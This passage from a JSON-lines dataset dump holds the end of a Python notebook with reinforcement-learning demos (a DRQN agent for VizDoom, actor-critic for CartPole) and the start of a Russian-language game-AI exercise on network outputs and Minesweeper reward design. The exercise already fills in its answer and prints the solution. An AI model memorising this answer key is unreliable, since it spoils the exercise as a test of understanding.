agent.learning_rate)\n\ns_t = game_state.screen_buffer  # 480 x 640\ns_t = preprocessImg(s_t, size=(img_rows, img_cols))\n\nis_terminated = game.is_episode_finished()\n\n# + id=\"KEOjhw2tR1zl\"\n#title Start training DRQN Agent\nepsilon = agent.initial_epsilon\nGAME = 0\nt = 0\nmax_life = 0  # Maximum episode life (Proxy for agent performance)\nlife = 0\nepisode_buf = []  # Save entire episode\n\n# Buffer to compute rolling statistics\nlife_buffer, ammo_buffer, kills_buffer = [], [], []\n\nwhile not game.is_episode_finished():\n\n    loss = 0\n    Q_max = 0\n    r_t = 0\n    a_t = np.zeros([action_size])\n\n    # Epsilon Greedy\n    if len(episode_buf) > agent.trace_length:\n        # 1x8x64x64x3\n        state_series = np.array(\n            [trace[-1] for trace in episode_buf[-agent.trace_length:]])\n        state_series = np.expand_dims(state_series, axis=0)\n        action_idx = agent.get_action(state_series)\n    else:\n        action_idx = random.randrange(agent.action_size)\n    a_t[action_idx] = 1\n\n    a_t = a_t.astype(int)\n    game.set_action(a_t.tolist())\n    skiprate = agent.frame_per_action\n    game.advance_action(skiprate)\n\n    game_state = game.get_state()  # Observe again after we take the action\n    is_terminated = game.is_episode_finished()\n\n    # each frame we get reward of 0.1, so 4 frames will be 0.4\n    r_t = game.get_last_reward()\n\n    if (is_terminated):\n        if (life > max_life):\n            max_life = life\n        GAME += 1\n        life_buffer.append(life)\n        ammo_buffer.append(misc[1])\n        kills_buffer.append(misc[0])\n        print(\"Episode Finish \", misc)\n        game.new_episode()\n        game_state = game.get_state()\n        misc = game_state.game_variables\n        s_t1 = game_state.screen_buffer\n\n    s_t1 = game_state.screen_buffer\n    misc = game_state.game_variables\n    s_t1 = preprocessImg(s_t1, size=(img_rows, img_cols))\n\n    r_t = agent.shape_reward(r_t, misc, prev_misc, t)\n\n    if (is_terminated):\n        life = 0\n    else:\n        life += 1\n\n    # update the cache\n    prev_misc = misc\n\n    # Update epsilon\n    if agent.epsilon > agent.final_epsilon and t > agent.observe:\n        agent.epsilon -= (agent.initial_epsilon -\n                          agent.final_epsilon) / agent.explore\n\n    # Do the training\n    if t > agent.observe:\n        Q_max, loss = agent.train_replay()\n\n    # save the sample <s, a, r, s'> to episode buffer\n    episode_buf.append([s_t, action_idx, r_t, s_t1])\n\n    if (is_terminated):\n        agent.memory.add(episode_buf)\n        episode_buf = []  # Reset Episode Buf\n\n    s_t = s_t1\n    t += 1\n\n    # save progress every 10000 iterations\n    if t % 10000 == 0:\n        print(\"Now we save model\")\n        agent.model.save_weights(\"./models/drqn.h5\", overwrite=True)\n\n    # print info\n    state = \"\"\n    if t <= agent.observe:\n        state = \"observe\"\n    elif t > agent.observe and t <= agent.observe + agent.explore:\n        state = \"explore\"\n    else:\n        state = \"train\"\n\n    if (is_terminated):\n        print(\"TIME\", t, \"/ GAME\", GAME, \"/ STATE\", state,\n              \"/ EPSILON\", agent.epsilon, \"/ ACTION\", action_idx, \"/ REWARD\", r_t,\n              \"/ Q_MAX %e\" % np.max(Q_max), \"/ LIFE\", max_life, \"/ LOSS\", loss)\n\n        # Save Agent's Performance Statistics\n        if GAME % agent.stats_window_size == 0 and t > agent.observe:\n            print(\"Update Rolling Statistics\")\n            agent.mavg_score.append(np.mean(np.array(life_buffer)))\n            agent.var_score.append(np.var(np.array(life_buffer)))\n            agent.mavg_ammo_left.append(np.mean(np.array(ammo_buffer)))\n            agent.mavg_kill_counts.append(np.mean(np.array(kills_buffer)))\n\n            # Reset rolling stats buffer\n            life_buffer, ammo_buffer, kills_buffer = [], [], []\n\n            # Write Rolling Statistics to file\n            with open(\"statistics/drqn_stats.txt\", \"w\") as stats_file:\n                stats_file.write('Game: ' + str(GAME) + '\\n')\n                stats_file.write('Max Score: ' + str(max_life) + '\\n')\n                stats_file.write('mavg_score: ' +\n                                  str(agent.mavg_score) + '\\n')\n                stats_file.write(\n                    'var_score: ' + str(agent.var_score) + '\\n')\n                stats_file.write('mavg_ammo_left: ' +\n                                  str(agent.mavg_ammo_left) + '\\n')\n                stats_file.write('mavg_kill_counts: ' +\n                                  str(agent.mavg_kill_counts) + '\\n')\n\n\n# + [markdown] id=\"EFHwTMtjtrpI\"\n# # Fully observed Markov decision processes (MDPs)\n# Now we explore fully observed Markov decision process.\n#\n# In a fully observable problem the observed state is equal to the hidden state (i.e., $s_{t}=z_{t}$). \n#\n# In this case, the POMDP reduces to a simpler model known as a Markov decision process or MDP\n#\n\n# + [markdown] id=\"PnFH2ojv7X6i\"\n#\n# ## Actor Critic Method\n# As an agent takes actions and moves through an environment, it learns to map the observed state of the environment to two possible outputs:\n#\n# **Recommended action:** \n#\n# A probabiltiy value for each action in the action space. The part of the agent responsible for this output is called the actor.\n#\n#\n# **Estimated rewards in the future:** \n#\n# Sum of all rewards it expects to receive in the future. The part of the agent responsible for this output is the critic.\n#\n# Agent and Critic learn to perform their tasks, such that the recommended actions from the actor maximize the rewards.\n#\n#\n# **CartPole-V0**\n#\n# A pole is attached to a cart placed on a frictionless track. The agent has to apply force to move the cart. It is rewarded for every time step the pole remains upright. The agent, therefore, must learn to keep the pole from falling over.\n\n# + id=\"6UfvC4ni0Zan\"\n#@title Imports\nimport gym\nimport numpy as np\nimport tensorflow as tf\nfrom tensorflow import keras\nfrom tensorflow.keras import layers\n\n# Configuration parameters for the whole setup\nseed = 42\ngamma = 0.99  # Discount factor for past rewards\nmax_steps_per_episode = 10000\nenv = gym.make(\"CartPole-v0\")  # Create the environment\nenv.seed(seed)\neps = np.finfo(np.float32).eps.item()  # Smallest number such that 1.0 + eps != 1.0\n\n# + id=\"ay_fSFKW0oxp\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 223} outputId=\"ff37bd81-65b4-4a63-91c5-c17ef635107a\"\n#@title Define Model\nnum_inputs = 4\nnum_actions = 2\nnum_hidden = 128\n\ninputs = layers.Input(shape=(num_inputs,))\ncommon = layers.Dense(num_hidden, activation=\"relu\")(inputs)\naction = layers.Dense(num_actions, activation=\"softmax\")(common)\ncritic = layers.Dense(1)(common)\n\nmodel = keras.Model(inputs=inputs, outputs=[action, critic])\n\n# + id=\"uHyJ3w6n6Fdn\" cellView=\"form\"\n#@title Train model\noptimizer = keras.optimizers.Adam(learning_rate=0.01)\nhuber_loss = keras.losses.Huber()\naction_probs_history = []\ncritic_value_history = []\nrewards_history = []\nrunning_reward = 0\nepisode_count = 0\n\nwhile True:  # Run until solved\n    state = env.reset()\n    episode_reward = 0\n    with tf.GradientTape() as tape:\n        for timestep in range(1, max_steps_per_episode):\n            # env.render(); Adding this line would show the attempts\n            # of the agent in a pop up window.\n\n            state = tf.convert_to_tensor(state)\n            state = tf.expand_dims(state, 0)\n\n            # Predict action probabilities and estimated future rewards\n            # from environment state\n            action_probs, critic_value = model(state)\n            critic_value_history.append(critic_value[0, 0])\n\n            # Sample action from action probability distribution\n            action = np.random.choice(num_actions, p=np.squeeze(action_probs))\n            action_probs_history.append(tf.math.log(action_probs[0, action]))\n\n            # Apply the sampled action in our environment\n            state, reward, done, _ = env.step(action)\n            rewards_history.append(reward)\n            episode_reward += reward\n\n            if done:\n                break\n\n        # Update running reward to check condition for solving\n        running_reward = 0.05 * episode_reward + (1 - 0.05) * running_reward\n\n        # Calculate expected value from rewards\n        # - At each timestep what was the total reward received after that timestep\n        # - Rewards in the past are discounted by multiplying them with gamma\n        # - These are the labels for our critic\n        returns = []\n        discounted_sum = 0\n        for r in rewards_history[::-1]:\n            discounted_sum = r + gamma * discounted_sum\n            returns.insert(0, discounted_sum)\n\n        # Normalize\n        returns = np.array(returns)\n        returns = (returns - np.mean(returns)) / (np.std(returns) + eps)\n        returns = returns.tolist()\n\n        # Calculating loss values to update our network\n        history = zip(action_probs_history, critic_value_history, returns)\n        actor_losses = []\n        critic_losses = []\n        for log_prob, value, ret in history:\n            # At this point in history, the critic estimated that we would get a\n            # total reward = `value` in the future. We took an action with log probability\n            # of `log_prob` and ended up recieving a total reward = `ret`.\n            # The actor must be updated so that it predicts an action that leads to\n            # high rewards (compared to critic's estimate) with high probability.\n            diff = ret - value\n            actor_losses.append(-log_prob * diff)  # actor loss\n\n            # The critic must be updated so that it predicts a better estimate of\n            # the future rewards.\n            critic_losses.append(\n                huber_loss(tf.expand_dims(value, 0), tf.expand_dims(ret, 0))\n            )\n\n        # Backpropagation\n        loss_value = sum(actor_losses) + sum(critic_losses)\n        grads = tape.gradient(loss_value, model.trainable_variables)\n        optimizer.apply_gradients(zip(grads, model.trainable_variables))\n\n        # Clear the loss and reward history\n        action_probs_history.clear()\n        critic_value_history.clear()\n        rewards_history.clear()\n\n    # Log details\n    episode_count += 1\n    if episode_count % 10 == 0:\n        template = \"running reward: {:.2f} at episode {}\"\n        print(template.format(running_reward, episode_count))\n\n    if running_reward > 195:  # Condition to consider the task solved\n        print(\"Solved at episode {}!\".format(episode_count))\n        break\n\n\n# + [markdown] id=\"H0hXYOtJ6NbJ\"\n# ### Visualizations\n#\n#\n# In early stages of training:\n#\n#\n# ![Imgur](https://i.imgur.com/5gCs5kH.gif)\n#\n#\n# In later stages of training:\n#\n#\n# ![Imgur](https://i.imgur.com/5ziiZUD.gif)\n", "meta": {"hexsha": "bb55659da7bd8c6d1013a8e7170fc2282eb5f0e7", "size": 16821, "ext": "py", "lang": "Python", "max_stars_repo_path": "notebooks-text-format/rl_demos.py", "max_stars_repo_name": "arpitvaghela/probml-notebooks", "max_stars_repo_head_hexsha": "32ecb309dd474b989fd1c6ce4ad6dab7a25bbead", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 166, "max_stars_repo_stars_event_min_datetime": "2021-07-16T17:33:09.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T03:35:34.000Z", "max_issues_repo_path": "notebooks-text-format/rl_demos.py", "max_issues_repo_name": "arpitvaghela/probml-notebooks", "max_issues_repo_head_hexsha": "32ecb309dd474b989fd1c6ce4ad6dab7a25bbead", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 29, "max_issues_repo_issues_event_min_datetime": "2021-07-21T16:31:51.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-31T19:50:13.000Z", "max_forks_repo_path": "notebooks-text-format/rl_demos.py", "max_forks_repo_name": "arpitvaghela/probml-notebooks", "max_forks_repo_head_hexsha": "32ecb309dd474b989fd1c6ce4ad6dab7a25bbead", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 48, "max_forks_repo_forks_event_min_datetime": "2021-07-17T08:26:18.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-31T03:36:18.000Z", "avg_line_length": 33.9133064516, "max_line_length": 239, "alphanum_fraction": 0.6881873848, "include": true, "reason": "import numpy", "num_tokens": 4366, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4416729909662417, "lm_q2_score": 0.17328821233352104, "lm_q1q2_score": 0.0765367230405394}}
{"text": "# \u0412\u0441\u0442\u0443\u043f\u043b\u0435\u043d\u0438\u0435\n# \u0412 \u044d\u0442\u043e\u043c \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u0435 \u0432\u044b \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u0443\u0437\u043d\u0430\u043b\u0438 \u043e\u0431 \u043e\u0431\u0443\u0447\u0435\u043d\u0438\u0438 \u0441 \u043f\u043e\u0434\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u0438\u0435\u043c \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u043f\u0430\u043a\u0435\u0442 stable-baselines,\n# \u0447\u0442\u043e\u0431\u044b \u043d\u0430\u0443\u0447\u0438\u0442\u044c \u0430\u0433\u0435\u043d\u0442\u0430 \u043f\u043e\u0431\u0435\u0436\u0434\u0430\u0442\u044c \u0441\u043b\u0443\u0447\u0430\u0439\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0442\u0438\u0432\u043d\u0438\u043a\u0430. \u0412 \u044d\u0442\u043e\u043c \u0443\u043f\u0440\u0430\u0436\u043d\u0435\u043d\u0438\u0438 \u0432\u044b \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u0435 \u0441\u0432\u043e\u0435 \u043f\u043e\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u0438 \u043f\u043e\u0432\u043e\u0437\u0438\u0442\u0435\u0441\u044c \u0441\n# \u043a\u043e\u0434\u043e\u043c, \u0447\u0442\u043e\u0431\u044b \u0443\u0433\u043b\u0443\u0431\u0438\u0442\u044c \u0441\u0432\u043e\u044e \u0438\u043d\u0442\u0443\u0438\u0446\u0438\u044e.\nfrom learntools.core import binder\nbinder.bind(globals())\nfrom learntools.game_ai.ex4 import *\n\n\n# 1) \u0423\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0435 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0443\n# \u0412 \u044d\u0442\u043e\u043c \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u0435 \u0432\u044b \u0443\u0437\u043d\u0430\u043b\u0438 \u043e\u0431 \u043e\u0434\u043d\u043e\u043c \u0441\u043f\u043e\u0441\u043e\u0431\u0435 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u043d\u0435\u0439\u0440\u043e\u043d\u043d\u043e\u0439 \u0441\u0435\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u0431\u0438\u0440\u0430\u0442\u044c \u0445\u043e\u0434\u044b \u0432 Connect Four.\n# \u041d\u0435\u0439\u0440\u043e\u043d\u043d\u0430\u044f \u0441\u0435\u0442\u044c \u0438\u043c\u0435\u043b\u0430 \u0432\u044b\u0445\u043e\u0434\u043d\u043e\u0439 \u0441\u043b\u043e\u0439 \u0441 \u0441\u0435\u043c\u044c\u044e \u0443\u0437\u043b\u0430\u043c\u0438: \u043f\u043e \u043e\u0434\u043d\u043e\u043c\u0443 \u043d\u0430 \u043a\u0430\u0436\u0434\u044b\u0439 \u0441\u0442\u043e\u043b\u0431\u0435\u0446 \u0438\u0433\u0440\u043e\u0432\u043e\u0433\u043e \u043f\u043e\u043b\u044f.\n#\n# \u0414\u043e\u043f\u0443\u0441\u0442\u0438\u043c, \u0432\u044b \u0445\u043e\u0442\u0438\u0442\u0435 \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u043d\u0435\u0439\u0440\u043e\u043d\u043d\u0443\u044e \u0441\u0435\u0442\u044c, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u0438\u0433\u0440\u0430\u0442\u044c \u0432 \u0448\u0430\u0445\u043c\u0430\u0442\u044b. \u0421\u043a\u043e\u043b\u044c\u043a\u043e \u0443\u0437\u043b\u043e\u0432 \u0432\u044b \u0434\u043e\u043b\u0436\u043d\u044b \u043f\u043e\u043c\u0435\u0441\u0442\u0438\u0442\u044c \u0432\n# \u0432\u044b\u0445\u043e\u0434\u043d\u043e\u0439 \u0441\u043b\u043e\u0439?\n#\n# \u0412\u0430\u0440\u0438\u0430\u043d\u0442 A: 2 \u0443\u0437\u043b\u0430 (\u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0438\u0433\u0440\u043e\u043a\u043e\u0432)\n# \u0412\u0430\u0440\u0438\u0430\u043d\u0442 B: 16 \u0443\u0437\u043b\u043e\u0432 (\u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0438\u0433\u0440\u043e\u0432\u044b\u0445 \u0444\u0438\u0448\u0435\u043a, \u0441 \u043a\u043e\u0442\u043e\u0440\u044b\u043c\u0438 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442 \u043a\u0430\u0436\u0434\u044b\u0439 \u0438\u0433\u0440\u043e\u043a)\n# \u0412\u0430\u0440\u0438\u0430\u043d\u0442 C: 4672 \u0443\u0437\u043b\u0430 (\u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0445 \u0445\u043e\u0434\u043e\u0432)\n# \u0412\u0430\u0440\u0438\u0430\u043d\u0442 D: 64 \u0443\u0437\u043b\u0430 (\u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u043a\u0432\u0430\u0434\u0440\u0430\u0442\u043e\u0432 \u043d\u0430 \u0438\u0433\u0440\u043e\u0432\u043e\u043c \u043f\u043e\u043b\u0435)\n# \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 \u0441\u0432\u043e\u0439 \u043e\u0442\u0432\u0435\u0442, \u0447\u0442\u043e\u0431\u044b \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 best_option \u043d\u0438\u0436\u0435. \u0412\u0430\u0448 \u043e\u0442\u0432\u0435\u0442 \u0434\u043e\u043b\u0436\u0435\u043d \u0431\u044b\u0442\u044c \u043e\u0434\u043d\u0438\u043c \u0438\u0437 \u00abA\u00bb, \u00abB\u00bb, \u00abC\u00bb \u0438\u043b\u0438 \u00abD\u00bb.\n#\n# \u0417\u0430\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0431\u043b\u0430\u043d\u043a\nbest_option = 'C'\n\n# \u041f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e: \u0435\u0441\u043b\u0438 \u043c\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u0443\u044e \u0441\u0435\u0442\u044c, \u043a\u0430\u043a \u0432 \u0443\u0447\u0435\u0431\u043d\u0438\u043a\u0435, \u0441\u0435\u0442\u044c \u0434\u043e\u043b\u0436\u043d\u0430 \u0432\u044b\u0432\u043e\u0434\u0438\u0442\u044c \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u044c \u0434\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0433\u043e\n# \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0433\u043e \u0445\u043e\u0434\u0430.\n\n# 2) \u041e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u0435 \u043d\u0430\u0433\u0440\u0430\u0434\u0443\n# \u0412 \u044d\u0442\u043e\u043c \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u0435 \u0432\u044b \u0443\u0437\u043d\u0430\u043b\u0438, \u043a\u0430\u043a \u0434\u0430\u0442\u044c \u0441\u0432\u043e\u0435\u043c\u0443 \u0430\u0433\u0435\u043d\u0442\u0443 \u043d\u0430\u0433\u0440\u0430\u0434\u0443, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0431\u0443\u0434\u0438\u0442 \u0435\u0433\u043e \u0432\u044b\u0438\u0433\u0440\u044b\u0432\u0430\u0442\u044c \u0438\u0433\u0440\u044b Connect Four.\n# \u0420\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u0442\u0435\u043f\u0435\u0440\u044c \u043e\u0431\u0443\u0447\u0435\u043d\u0438\u0435 \u0430\u0433\u0435\u043d\u0442\u0430 \u0434\u043b\u044f \u043f\u043e\u0431\u0435\u0434\u044b \u0432 \u0438\u0433\u0440\u0435 \u00ab\u0421\u0430\u043f\u0435\u0440\u00bb. \u0426\u0435\u043b\u044c \u0438\u0433\u0440\u044b - \u043e\u0447\u0438\u0441\u0442\u0438\u0442\u044c \u0434\u043e\u0441\u043a\u0443, \u043d\u0435 \u0432\u0437\u043e\u0440\u0432\u0430\u0432 \u0431\u043e\u043c\u0431\u044b.\n#\n# \u0427\u0442\u043e\u0431\u044b \u0438\u0433\u0440\u0430\u0442\u044c \u0432 \u044d\u0442\u0443 \u0438\u0433\u0440\u0443 \u0432 \u043f\u043e\u0438\u0441\u043a\u0435 Google, \u043d\u0430\u0436\u043c\u0438\u0442\u0435 \u043a\u043d\u043e\u043f\u043a\u0443 [\u0418\u0433\u0440\u0430\u0442\u044c] \u043f\u043e \u044d\u0442\u043e\u0439 \u0441\u0441\u044b\u043b\u043a\u0435.\n#\n# \u0418\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435\n# \u0421 \u043a\u0430\u0436\u0434\u044b\u043c \u0445\u043e\u0434\u043e\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u043e\u0434\u043d\u043e \u0438\u0437 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0433\u043e:\n#\n# \u0410\u0433\u0435\u043d\u0442 \u0432\u044b\u0431\u0440\u0430\u043b \u043d\u0435\u0432\u0435\u0440\u043d\u044b\u0439 \u0445\u043e\u0434 (\u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u0441\u043b\u043e\u0432\u0430\u043c\u0438, \u043e\u043d \u043f\u043e\u043f\u044b\u0442\u0430\u043b\u0441\u044f \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044c \u043a\u0432\u0430\u0434\u0440\u0430\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u044b\u043b \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d \u043a\u0430\u043a \u0447\u0430\u0441\u0442\u044c\n# \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0433\u043e \u0445\u043e\u0434\u0430). \u041f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0438\u043c, \u043d\u0430 \u044d\u0442\u043e\u043c \u0438\u0433\u0440\u0430 \u0437\u0430\u043a\u0430\u043d\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f, \u0438 \u0430\u0433\u0435\u043d\u0442 \u043f\u0440\u043e\u0438\u0433\u0440\u044b\u0432\u0430\u0435\u0442.\n# \u0410\u0433\u0435\u043d\u0442 \u043e\u0447\u0438\u0449\u0430\u0435\u0442 \u043a\u0432\u0430\u0434\u0440\u0430\u0442, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u043d\u0435 \u0431\u044b\u043b\u043e \u0441\u043f\u0440\u044f\u0442\u0430\u043d\u043d\u043e\u0439 \u043c\u0438\u043d\u044b. \u0410\u0433\u0435\u043d\u0442 \u043f\u043e\u0431\u0435\u0436\u0434\u0430\u0435\u0442 \u0432 \u0438\u0433\u0440\u0435, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u0432\u0441\u0435\n# \u043a\u043b\u0435\u0442\u043a\u0438 \u0431\u0435\u0437 \u043c\u0438\u043d.\n# \u0410\u0433\u0435\u043d\u0442 \u043e\u0447\u0438\u0449\u0430\u0435\u0442 \u043a\u0432\u0430\u0434\u0440\u0430\u0442, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u043d\u0435 \u0431\u044b\u043b\u043e \u0441\u043f\u0440\u044f\u0442\u0430\u043d\u043d\u043e\u0439 \u043c\u0438\u043d\u044b, \u043d\u043e \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0435\u0449\u0435 \u043d\u0435 \u0432\u044b\u0438\u0433\u0440\u0430\u043b \u0438\u043b\u0438 \u043d\u0435 \u043f\u0440\u043e\u0438\u0433\u0440\u0430\u043b \u0438\u0433\u0440\u0443.\n# \u0410\u0433\u0435\u043d\u0442 \u043f\u043e\u0434\u0440\u044b\u0432\u0430\u0435\u0442 \u043c\u0438\u043d\u0443 \u0438 \u043f\u0440\u043e\u0438\u0433\u0440\u044b\u0432\u0430\u0435\u0442 \u0438\u0433\u0440\u0443.\n# \u041a\u0430\u043a \u0432\u044b \u043c\u043e\u0433\u043b\u0438 \u0431\u044b \u0443\u043a\u0430\u0437\u0430\u0442\u044c \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0436\u0434\u0435\u043d\u0438\u0435 \u0434\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0438\u0437 \u044d\u0442\u0438\u0445 \u0447\u0435\u0442\u044b\u0440\u0435\u0445 \u0441\u043b\u0443\u0447\u0430\u0435\u0432, \u0447\u0442\u043e\u0431\u044b, \u043c\u0430\u043a\u0441\u0438\u043c\u0438\u0437\u0438\u0440\u0443\u044f \u0441\u043e\u0432\u043e\u043a\u0443\u043f\u043d\u043e\u0435\n# \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0436\u0434\u0435\u043d\u0438\u0435, \u0430\u0433\u0435\u043d\u0442 \u043f\u043e\u043f\u044b\u0442\u0430\u043b\u0441\u044f \u0432\u044b\u0438\u0433\u0440\u0430\u0442\u044c \u0438\u0433\u0440\u0443?\n#\n# \u041f\u043e\u0441\u043b\u0435  \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0432\u044b \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u043b\u0438\u0441\u044c \u0441\u043e \u0441\u0432\u043e\u0438\u043c \u043e\u0442\u0432\u0435\u0442\u043e\u043c, \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u0435 \u044f\u0447\u0435\u0439\u043a\u0443 \u043a\u043e\u0434\u0430 \u043d\u0438\u0436\u0435, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043a\u0440\u0435\u0434\u0438\u0442 \u0437\u0430 \u043e\u0442\u0432\u0435\u0442 \u043d\u0430\n# \u044d\u0442\u043e\u0442 \u0432\u043e\u043f\u0440\u043e\u0441.\n#\n# \u0420\u0435\u0448\u0435\u043d\u0438\u0435: \u0432\u043e\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 - \u043f\u043e\u0441\u043b\u0435 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0445\u043e\u0434\u0430 \u043c\u044b \u0434\u0430\u0435\u043c \u0430\u0433\u0435\u043d\u0442\u0443 \u043d\u0430\u0433\u0440\u0430\u0434\u0443, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0433\u043e\u0432\u043e\u0440\u0438\u0442 \u0435\u043c\u0443, \u043d\u0430\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0445\u043e\u0440\u043e\u0448\u043e\n# \u043e\u043d \u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0441\u044f:\n#\n# \u0415\u0441\u043b\u0438 \u0430\u0433\u0435\u043d\u0442 \u0432\u044b\u0438\u0433\u0440\u044b\u0432\u0430\u0435\u0442 \u0438\u0433\u0440\u0443 \u044d\u0442\u0438\u043c \u0445\u043e\u0434\u043e\u043c, \u043e\u043d \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u043d\u0430\u0433\u0440\u0430\u0434\u0443 +1.\n# \u0412 \u043f\u0440\u043e\u0442\u0438\u0432\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435, \u0435\u0441\u043b\u0438 \u0430\u0433\u0435\u043d\u0442 \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u0442 \u043d\u0435\u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u044b\u0439 \u0445\u043e\u0434, \u043e\u043d \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u043d\u0430\u0433\u0440\u0430\u0434\u0443 -10.\n# \u0412 \u043f\u0440\u043e\u0442\u0438\u0432\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435, \u0435\u0441\u043b\u0438 \u043e\u043d \u0432\u0437\u043e\u0440\u0432\u0435\u0442 \u043c\u0438\u043d\u0443, \u043e\u043d \u043f\u043e\u043b\u0443\u0447\u0438\u0442 \u043d\u0430\u0433\u0440\u0430\u0434\u0443 -1.\n# \u0412 \u043f\u0440\u043e\u0442\u0438\u0432\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435, \u0435\u0441\u043b\u0438 \u0430\u0433\u0435\u043d\u0442 \u043e\u0447\u0438\u0449\u0430\u0435\u0442 \u043a\u0432\u0430\u0434\u0440\u0430\u0442 \u0431\u0435\u0437 \u0441\u043a\u0440\u044b\u0442\u043e\u0439 \u043c\u0438\u043d\u044b, \u043e\u043d \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u043d\u0430\u0433\u0440\u0430\u0434\u0443 +1/100.\n# \u0427\u0442\u043e\u0431\u044b  \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0441\u0432\u043e\u0435\u0433\u043e \u043e\u0442\u0432\u0435\u0442\u0430, \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435, \u0447\u0442\u043e \u043d\u0430\u0433\u0440\u0430\u0434\u0430 \u0437\u0430 \u0432\u044b\u0431\u043e\u0440 \u043d\u0435\u0432\u0435\u0440\u043d\u043e\u0433\u043e \u0445\u043e\u0434\u0430 \u0438 \u0437\u0430 \u043f\u043e\u0434\u0440\u044b\u0432\n# \u043c\u0438\u043d\u044b  \u0434\u043e\u043b\u0436\u043d\u0430 \u0431\u044b\u0442\u044c \u043e\u0442\u0440\u0438\u0446\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439. \u041d\u0430\u0433\u0440\u0430\u0434\u0430 